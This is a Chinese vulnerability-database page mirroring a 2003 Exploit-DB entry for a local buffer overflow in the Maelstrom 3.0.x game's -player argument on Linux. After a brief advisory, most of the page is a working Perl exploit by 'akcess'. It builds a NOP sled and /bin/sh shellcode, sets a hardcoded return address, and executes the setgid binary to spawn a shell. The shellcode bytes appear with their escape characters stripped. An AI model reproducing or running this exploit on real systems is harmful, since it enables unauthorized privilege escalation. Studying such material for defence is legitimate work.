Maelstrom Player 3.0.x – Argument Buffer Overflow (1)

24次阅读
没有评论

Maelstrom Player 3.0.x – Argument Buffer Overflow (1)

漏洞ID 1053879 漏洞类型
发布时间 2003-05-21 更新时间 2003-05-21
Maelstrom Player 3.0.x - Argument Buffer Overflow (1)CVE编号 N/A
Maelstrom Player 3.0.x - Argument Buffer Overflow (1)CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22616
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7632/info

Maelstrom for Linux has been reported prone to a buffer overflow vulnerability.

The issue is reportedly due to a lack of sufficient bounds checking performed on user-supplied data before it is copied into an internal memory space. It may be possible for a local attacker to exploit this condition and have malicious arbitrary code executed in the context of the Maelstrom application. Typically setGID games.

It should be noted that although this vulnerability has been reported to affect Maelstrom version 3.0.6 and 3.0.5 previous versions might also be affected. 

#!/usr/bin/perl -w
#
# /usr/bin/Maelstrom -player Local Buffer Overflow Exploit by akcess
#
# This code exploits the -player overflow which i discovered after
# reading the initial advisory detailing  the -server  overflow by
# Luca Ercoli
#
# [ [email protected] ] - *21/05/03*


$sc = "x90"x1500; # write stdout "akcess wuz here..."; execve /bin/sh; exit;
$sc .= "x31xc0x31xdbx31xd2x53x68x2ex2ex20x0ax68x65x72x65";
$sc .= "x2ex68x75x7ax20x68x68x73x73x20x77x68x61x6bx63x65";
$sc .= "x89xe1xb2x18xb0x04xcdx80x31xc0x50x68x6ex2fx73x68";
$sc .= "x68x2fx2fx62x69x89xe3x8dx54x24x08x50x53x8dx0cx24";
$sc .= "xb0x0bxcdx80";

$ENV{'SC'} = $sc;

$offset = "0";
$ret = 0xbffff9ee;


for ($i = 0; $i < (8177 - 4); $i++) {
    $buf .= "x90";
}


$buf .= pack('l', ($ret + $offset));

print("Using return address: 0x", sprintf('%lx',($ret + $offset)),"n");
exec("/usr/bin/Maelstrom -player 1@'$buf'");

相关推荐: Multiple Unspecified RealOne Player Buffer Overflow Vulnerabilities

Multiple Unspecified RealOne Player Buffer Overflow Vulnerabilities 漏洞ID 1101123 漏洞类型 Boundary Condition Error 发布时间 2002-12-11 更新时…

正文完
 0